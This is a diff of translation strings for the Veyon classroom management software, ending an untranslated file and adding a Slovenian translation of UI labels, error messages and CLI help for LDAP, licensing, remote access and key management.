Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + + + + toolBar + + + + General + + + + &File + + + + &Help + + + + &Quit + + + + Ctrl+Q + + + + Ctrl+S + + + + L&oad settings from file + + + + Ctrl+O + + + + About Qt + + + + Authentication impossible + + + + Configuration not writable + + + + Load settings from file + + + + Save settings to file + + + + Unsaved settings + + + + There are unsaved settings. Quit anyway? + + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + + + + Auto + + + + Computer rooms + + + + About + + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + + + + ... + + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + + + + Background color + + + + Thumbnail update interval + + + + ms + + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + + + + Password + + + + Veyon Logon + + + + Authentication error + + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + + + + Click this button to reboot all computers. + + + + Power down + + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + + + + Open a remote control window for a computer. + + + + Remote access + + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + + + + Remote control + + + + Send shortcut + + + + Fullscreen + + + + Window + + + + Quit + + + + Ctrl+Alt+Del + + + + Ctrl+Esc + + + + Alt+Tab + + + + Alt+F4 + + + + Win+Tab + + + + Win + + + + Menu + + + + Alt+Ctrl+F1 + + + + Connecting %1 + + + + Connected. + + + + Screenshot + + + + + RoomSelectionDialog + + Room selection + + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + + + + Unlock + + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + + + + + ScreenshotFeaturePlugin + + Screenshot + + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + + + + Date: + + + + Time: + + + + Show + + + + Delete + + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + + + + + ServiceConfigurationPage + + General + + + + Autostart + + + + Hide tray icon + + + + Start service + + + + Stopped + + + + Stop service + + + + State: + + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + + + + Demo server port + + + + Enable firewall exception + + + + Allow connections from localhost only + + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + + + + Service is not running + + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + + + + Stop Veyon Service + + + + Restart Veyon Service + + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + + + + Use the field below to type your message which will be sent to all selected users. + + + + + TextMessageFeaturePlugin + + Text message + + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + + + + Send a message to a user + + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + + + + Confirm user logout + + + + Do you really want to logout the selected users? + + + + Logout + + + + + VeyonCore + + [OK] + + + + [FAIL] + + + + Invalid command! + + + + Available commands: + + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/sl.ts b/translations/sl.ts new file mode 100644 index 0000000..745c922 --- /dev/null +++ b/translations/sl.ts @@ -0,0 +1,3891 @@ + + + AboutDialog + + About + Vizitka + + + Translation + Prevod + + + License + Licenca + + + About Veyon + O programu + + + Contributors + Sodelavci + + + Version: + Različica: + + + Website: + Spletna stran: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Trenutni jezik še ni preveden (ali je materni angleški jezik). + +Če ste zainteresirani za prevajanje Veyon v svoj lokalni ali drug jezik ali želite izboljšati obstoječi prevod, se obrnite na razvijalca Veyon! + + + About %1 %2 + Vizitka %1 %2 + + + Support Veyon project with a donation + Podprite projekt Veyon s prispevkom + + + + AccessControlPage + + Computer access control + Nadzor dostopa do računalnika + + + Grant access to every authenticated user (default) + Dodeli dostop do vsakega preverjenega uporabnika (privzeto) + + + Test + Preizkusi + + + Restrict access to members of certain user groups + Omeji dostop do članov določenih skupin uporabnikov + + + Process access control rules + Pravila za nadzor dostopa do procesov + + + User groups authorized for computer access + Uporabniške skupine, pooblaščene za dostop do računalnika + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Prosimo, dodajte skupine, katerih člani bi morali biti pooblaščeni za dostop do računalnikov v vašem omrežju Veyon + + + Authorized user groups + Pooblaščene skupine uporabnikov + + + All groups + Vse skupine + + + ... + ... + + + Access control rules + Pravila za nadzor dostopa + + + Add access control rule + Dodajte pravilo za nadzor dostopa + + + Remove access control rule + Odstranite pravilo za nadzor dostopa + + + Move selected rule down + Premaknite izbrano pravilo navzdol + + + Move selected rule up + Premaknite izbrano pravilo navzgor + + + Edit selected rule + Uredite izbrano pravilo + + + Enter username + Vnesite uporabniško ime + + + Please enter a user login name whose access permissions to test: + Vnesite uporabniško ime za prijavo, kateremu je dovoljen dostop za preizkus: + + + Access allowed + Dostop dovoljen + + + The specified user is allowed to access computers with this configuration. + Navedeni uporabnik lahko dostopa do računalnikov s to konfiguracijo. + + + Access denied + Dostop zavrnjen + + + The specified user is not allowed to access computers with this configuration. + Navedeni uporabnik ne sme dostopati do računalnikov s to konfiguracijo. + + + Enable usage of domain groups + Omogočite uporabo skupinam domen + + + User groups backend: + Uporabniške skupine ozadja: + + + Missing user groups backend + Manjkajoče skupine uporabnikov ozadja + + + No default user groups plugin was found. Please check your installation! + Noben privzeti vtičnik uporabniških skupin ni bil najden. Prosimo, preverite namestitev! + + + + AccessControlRuleEditDialog + + Edit access control rule + Urejanje pravila za nadzor dostopa + + + General + Splošno + + + enter a short name for the rule here + vpišite kratko ima za pravilo + + + Rule name: + Ime pravila: + + + enter a description for the rule here + tukaj vnesite opis pravila + + + Rule description: + Opis pravila: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Obrni vse pogoje ("je/ima" razloženo kot "je/ni") + + + Conditions + Pogoji + + + is member of group + je član skupine + + + is located in room + je v sobi + + + Accessing computer is localhost + Dostopni računalnik je lokalni gostitelj + + + Accessing user is logged on user + Dostopni uporabnik je prijavljen na uporabnik + + + Accessing user is already connected + Dostopni uporabnik je že povezan + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Če je aktiviranih več pogojev, se mora izpolniti vsak pogoj, da se pravilo uporabi (logični AND). Če se mora izpolniti samo eden od več pogojev (logični OR), ustvarite več pravil za nadzor dostopa. + + + Action + Dejanje + + + Allow access + Dovoli dostop + + + Deny access + Prepovej dostop + + + Ask logged on user for permission + Vprašaj prijavljenega uporabnika za dovoljenje + + + None (rule disabled) + Brez (pravila onemogočena) + + + Accessing user + Dostopni uporabnik + + + Accessing computer + Dostopni računalnik + + + Local (logged on) user + Lokalni (prijavljeni) uporabnik + + + Local computer + Lokalni računalnik + + + Always process rule and ignore conditions + Vedno obdelaj pravila in prezri pogoje + + + No user logged on + Uporabnik ni prijavljen na + + + Accessing computer is located in the same room as local computer + Dostopni računalnik se nahaja v istem prostoru kot lokalni računalnik + + + Accessing user has one or more groups in common with local (logged on) user + Dostopni uporabnik ima eno ali več skupnin, skupnih z lokalnim (prijavljenim) uporabnikom + + + + AccessControlRulesTestDialog + + Access control rules test + Test pravila za nadzor dostopa + + + Accessing user: + Dostopni uporabnik: + + + Local computer: + Lokalni računalnik: + + + Accessing computer: + Dostopni računalnik: + + + Please enter the following user and computer information in order to test the configured ruleset. + Prosim, vnesite naslednje podatke o uporabniku in računalniku, da preizkusite nastavljen pravilnik. + + + Local user: + Lokalni uporabnik: + + + Connected users: + Povezani uporabniki: + + + The access in the given scenario is allowed. + Dostop v danem scenariju je dovoljen. + + + The access in the given scenario is denied. + Dostop v danem scenariju je zavrnjen. + + + The access in the given scenario needs permission of the logged on user. + Dostop v danem scenariju potrebuje dovoljenje prijavljenega uporabnika + + + ERROR: Unknown action + NAPAKA: neznano dejanje + + + Test result + Rezultati testa + + + + AuthKeysConfigurationPage + + Authentication keys + Ključi preverjanja pristnosti + + + Introduction + Uvod + + + Key file directories + Imeniki ključne datoteke + + + Public key file base directory + Imenik datoteke z javnim ključem + + + Private key file base directory + Imenik datoteke z zasebnim ključem + + + ... + ... + + + Available authentication keys + Razpoložljivi ključi za preverjanje pristnosti + + + Create key pair + Ustvari par ključev + + + Delete key + Izbriši ključ + + + Import key + Uvozi ključ + + + Export key + Izvozi ključ + + + Set access group + Nastavite skupino za dostop + + + Key files (*.pem) + Datoteke ključa (*.pem) + + + Authentication key name + Ime ključa za preverjanje pristnosti + + + Please enter the name of the user group or role for which to create an authentication key pair: + Vnesite ime skupine uporabnikov ali vzorec za ustvarjanje para ključev za preverjanje pristnosti: + + + Do you really want to delete authentication key "%1/%2"? + Ali res želite izbrisati ključ za preverjanje pristnosti "%1/%2"? + + + Please select a key to delete! + Prosim, izberite ključ za brisanje! + + + Please enter the name of the user group or role for which to import the authentication key: + Vnesite ime uporabniške skupine ali vzorca, za katero želite uvoziti ključ za preverjanje pristnosti: + + + Please select a key to export! + Prosim, izberite ključ za izvoz! + + + Please select a user group which to grant access to key "%1": + Izberite uporabniško skupino, ki naj odobri dostop do ključa "%1": + + + Please select a key which to set the access group for! + Izberite ključ, za katerega želite nastaviti skupino za dostop! + + + Please perform the following steps to set up key file authentication: + Če želite nastaviti overjanje datotek ključa, naredite naslednje: + + + 1) Create a key pair on the master computer. + 1) Ustvarite par ključev na glavnem računalniku. + + + 2) Set an access group whose members should be allowed to access other computers. + 2) Nastavite skupino za dostop, katere člani bi morali imeti dostop do drugih računalnikov. + + + 3) Export the public key and import it on all client computers with the same name. + 3) Izvozite javni ključ in ga uvozite v vse odjemalske računalnike z istim imenom. + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + Prosimo, obiščite <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> za več informacij. + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + Par ključev za preverjanje pristnosti je sestavljen iz dveh povezanih kriptografskih ključev, zasebnega in javnega ključa. +Zasebni ključ omogoča uporabnikom na glavnem računalniku dostop do odjemalskih računalnikov. +Pomembno je, da imajo samo pooblaščeni uporabniki dostop do datoteke zasebnega ključa. +Javni ključ se uporablja v odjemalskih računalnikih za preverjanje pristnosti dohodne povezave. + + + + AuthKeysManager + + Please check your permissions. + Prosim, preverite svoja dovoljenja. + + + Key name contains invalid characters! + Ime ključa vsebuje neveljavne znake! + + + Invalid key type specified! Please specify "%1" or "%2". + Določena je neveljavna vrsta ključa! Prosim, navedite "%1" ali "%2". + + + Specified key does not exist! Please use the "list" command to list all installed keys. + Določen ključ ne obstaja! Uporabite ukaz "seznam", za seznam vseh nameščenih ključev. + + + One or more key files already exist! Please delete them using the "delete" command. + Ena ali več datotek ključa že obstaja! Izbrišite jih z ukazom "izbriši". + + + Creating new key pair for "%1" + Ustvarjanje novega para ključev za "%1" + + + Failed to create public or private key! + Ni uspelo ustvariti javnega ali zasebnega ključa! + + + Newly created key pair has been saved to "%1" and "%2". + Na novo ustvarjen par ključev je shranjen v "%1" in "%2". + + + Could not remove key file "%1"! + Datoteke ključa "%1" ni bilo mogoče odstraniti! + + + Could not remove key file directory "%1"! + Imenika datoteke ključa "%1" ni bilo mogoče odstraniti! + + + Failed to create directory for output file. + Ni bilo mogoče ustvariti imenika za izhodno datoteko. + + + File "%1" already exists. + Datoteka "%1" že obstaja. + + + Failed to write output file. + Ni mogoče zapisati izhodne datoteke. + + + Key "%1/%2" has been exported to "%3" successfully. + Ključ "%1/%2" je bil uspešno izvožen v "%3". + + + Failed read input file. + Ni mogoče prebrati vhodne datoteke. + + + File "%1" does not contain a valid private key! + Datoteka "%1" ne vsebuje veljavnega zasebnega ključa! + + + File "%1" does not contain a valid public key! + Datoteka "%1" ne vsebuje veljavnega javnega ključa! + + + Failed to create directory for key file. + Mape ključev ni bilo mogoče ustvariti. + + + Failed to write key file "%1". + Neuspeh pri pisanju datoteke ključev "%1". + + + Failed to set permissions for key file "%1"! + Ni bilo mogoče nastaviti dovoljenj za datoteko ključev "%1"! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + Ključ "%1/%2" je bil uspešno uvožen. Prosimo, preverite dovoljenja za datoteko "%3". da bi preprečili nepooblaščene dostope. + + + Failed to convert private key to public key + Ni bilo mogoče pretvoriti zasebnega ključa v javnega + + + Failed to create directory for private key file "%1". + Ni bilo mogoče ustvariti imenika za datoteko zasebnega ključa "%1". + + + Failed to save private key in file "%1"! + Ni bilo mogoče shraniti zasebnega ključa v datoteko "%1"! + + + Failed to set permissions for private key file "%1"! + Ni bilo mogoče nastaviti dovoljenj za datoteko zasebnega ključa "%1"! + + + Failed to create directory for public key file "%1". + Ni bilo mogoče ustvariti imenika za datoteko javnega ključa "%1". + + + Failed to save public key in file "%1"! + Ni bilo mogoče shraniti javnega ključa v datoteko "%1"! + + + Failed to set permissions for public key file "%1"! + Ni bilo mogoče nastaviti dovoljenj za datoteko javnega ključa "%1"! + + + Failed to set owner of key file "%1" to "%2". + Ni bilo mogoče določiti lastnika datoteke ključa "%1" na "%2". + + + Failed to set permissions for key file "%1". + Ni bilo mogoče nastaviti dovoljenj za datoteko ključa "%1". + + + Key "%1" is now accessible by user group "%2". + Ključ "%1" je sedaj dostopen skupini uporabnikov "%2". + + + <N/A> + <N/A> + + + Failed to read key file. + Ni mogoče prebrati datoteke ključa. + + + + AuthKeysPlugin + + Create new authentication key pair + Ustvarite nov par ključev za preverjanje pristnosti + + + Delete authentication key + Izbrišite ključ za preverjanje pristnosti + + + List authentication keys + Seznam ključev za preverjanje pristnosti + + + Import public or private key + Uvozite javni ali zasebni ključ + + + Export public or private key + Izvozite javni ali zasebni ključ + + + Extract public key from existing private key + Izvleči javni ključ iz obstoječega zasebnega ključa + + + Set user group allowed to access a key + Nastavite uporabniško skupino za dostop do ključa + + + KEY + KLJUČ + + + ACCESS GROUP + SKUPINA ZA DOSTOP + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + Ta ukaz prilagaja dovoljenja za dostop do datotek na <KLJUČ> tako da ima samo skupina uporabnikov <SKUPINA ZA DOSTOP> bralni dostop do njega. + + + NAME + IME + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + Ta ukaz ustvari nov par ključev za preverjanje pristnosti z imenom <IME> in shrani zasebni in javni ključ do nastavljenih ključnih imenikov. + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + Ta ukaz izbriše ključ <KLJUČ> za preverjanje pristnosti iz nastavljenega imenika ključa. Upoštevajte, da ključa po izbrisu ne morete obnoviti. + + + FILE + DATOTEKA + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Ta ukaz izvozi ključ za preverjanje pristnosti <KLJUČ> v <DATOTEKA>. Če <DATOTEKA> ni določena, bo ime zgrajeno iz imena in tipa <KLJUČ>. + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Ta ukaz uvozi ključ za preverjanje pristnosti <KLJUČ> iz <DATOTEKA>. Če <DATOTEKA> ni določena, bo ime zgrajeno iz imena in tipa <KLJUČ>. + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + Ta ukaz navaja vse razpoložljive ključe za overjanje v nastavljenem imeniku ključev. Če je možnost "%1" določena, bo prikazana tabela s podatki ključa namesto tega. Nekateri podatki morda manjkajo, če ključ ni dostopen, npr. zaradi pomanjkanja dovoljenj za branje. + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + Ta ukaz izvleče del javnega ključa iz zasebnega ključa <KLJUČ> in ga shrani kot ustrezni javni ključ. + + + Please specify the command to display help for! + Navedite ukaz za prikaz pomoči! + + + TYPE + VRSTA + + + PAIR ID + PAIR ID + + + Command line support for managing authentication keys + Podpora za ukazno vrstico za upravljanje ključev za preverjanje pristnosti + + + Commands for managing authentication keys + Ukazi za upravljanje ključev za preverjanje pristnosti + + + + AuthKeysTableModel + + Name + Ime + + + Type + Vrsta + + + Access group + Dostopna skupina + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Sobe in računalniki + + + Rooms + Sobe + + + Computers + Računalniki + + + Name + Ime + + + Host address/IP + Ime gostitelja/IP + + + MAC address + MAC naslov + + + Add new room + Dodaj novo sobo + + + Remove selected room + Odstrani izbrano sobo + + + Add new computer + Dodaj nov računalnik + + + Remove selected computer + Odstrani izbrani računalnik + + + New room + Nova soba + + + New computer + Nov računalnik + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + Prikaži pomoč za določen ukaz + + + Add a room or computer + Dodaj sobo ali računalnik + + + Clear all rooms and computers + Počisti vse sobe in računalnike + + + Dump all or individual rooms and computers + Izprazni vse ali posamezne sobe in računalnike + + + List all rooms and computers + Seznam vseh sob in računalnikov + + + Remove a room or computer + Odstrani sobo ali računalnik + + + Import objects from given file + Uvozi predmete iz dane datoteke + + + Export objects to given file + Izvozi predmete v dano datoteko + + + Invalid type specified. Valid values are "%1" or "%2". + Naveden je neveljaven tip. Veljavne vrednosti so "%1" ali "%2". + + + Type + Tip + + + Name + Ime + + + Host address + Naslov gostitelja + + + MAC address + MAC naslov + + + Specified object not found. + Določen predmet ni bil najden. + + + File "%1" does not exist! + Datoteka "%1" ne obstaja! + + + Can't open file "%1" for reading! + Ne morem odpreti datoteke "%1" za branje! + + + Unknown argument "%1". + Neznan argument "%1" + + + Room "%1" + Soba "%1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + Računalnik "%1" (naslov gostitelja: "%2" MAC naslov: "%3") + + + Unclassified object "%1" with ID "%2" + Nerazporejen predmet "%1" z ID "%2" + + + None + Brez + + + Room + Soba + + + Computer + Računalnik + + + Root + Koren + + + Invalid + Neveljavno + + + Error while parsing line %1. + Napaka pri razčlenjevanju vrstice %1. + + + Network object directory which stores objects in local configuration + Imenik omrežnih objektov, ki shranjuje predmete v lokalni konfiguraciji + + + Builtin (computers and rooms in local configuration) + Vgrajeno (računalniki in sobe v lokalni konfiguraciji) + + + Commands for managing the builtin network object directory + Ukazi za upravljanje vgrajenega omrežnega imenika + + + No format string or regular expression specified! + Ni navedena vrsta niza ali regularnega izraza! + + + Can't open file "%1" for writing! + Ne morem odpreti datoteke "%1" za pisanje! + + + No format string specified! + Nobena vrsta niza ni določena! + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + +UPORABA + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Veljavne spremenljivke: %type% %name% %host% %mac% %room% + +Primeri: + +* Izvozi vse predmete v datoteko CSV: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Izvozite vse računalnike v prostoru v datoteko CSV: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + +UPORABA + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Doda objekt, kjer je TYPE lahko eden od "%2" ali "%3". PARENT se lahko navede po imenu ali UUID. + +Primeri: + +* Dodaj sobo: + + %1 add room "Room 01" + +* Dodaj računalnik v sobo "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + +UPORABA + +%1 remove <OBJECT> + +Odstrani navedeni objekt iz imenika. OBJECT lahko določite z imenom ali UUID. Odstranjevanje sobe bo tudi odstranilo vse računalnike znotraj. + +Primeri: + +* Odstrani računalnik po imenu: + + %1 remove "Computer 01" + +* Odstrani predmet po UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + Object UUID + Objekt UUID + + + Parent UUID + Starševski UUID + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Vgrajen VNC strežnik (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) 